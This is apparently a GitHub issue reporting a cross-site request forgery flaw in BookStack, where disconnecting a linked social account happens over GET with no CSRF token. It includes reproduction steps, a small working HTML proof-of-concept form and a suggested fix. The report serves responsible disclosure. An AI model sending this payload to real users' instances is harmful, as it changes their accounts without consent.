Skip to content

Cross Site Request Forgery To Disconnect Social Accounts #2808

Description

@bishal0x01

Hello team,

I noticed that in "Disconnect Social Accounts" parameter request is going in the HTTP GET method and did not generate CSRF token.

Steps to reproduce:-

  1. Login your BookStack account as https://bookstack.yoururl.com
  2. Now navigate to the "Edit profile" or go to the https://bookstack.yoururl.com/user/{id}
  3. Then click on https://bookstack.yoururl.com/login/service/google/detach or save the following code as csrf.html and sent it to ther another user.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://bookstack.yoururl.com/login/service/google/detach">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
  1. As you can see Social Accounts i.e google has been disconnected.

Impact: By sending a link it is possible to disconnect the user's Social Accounts.

Mitigation: Request should be sent in POST or should be generated CSRF token.

If you need information please let me know.

Best regards,
Bishal

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions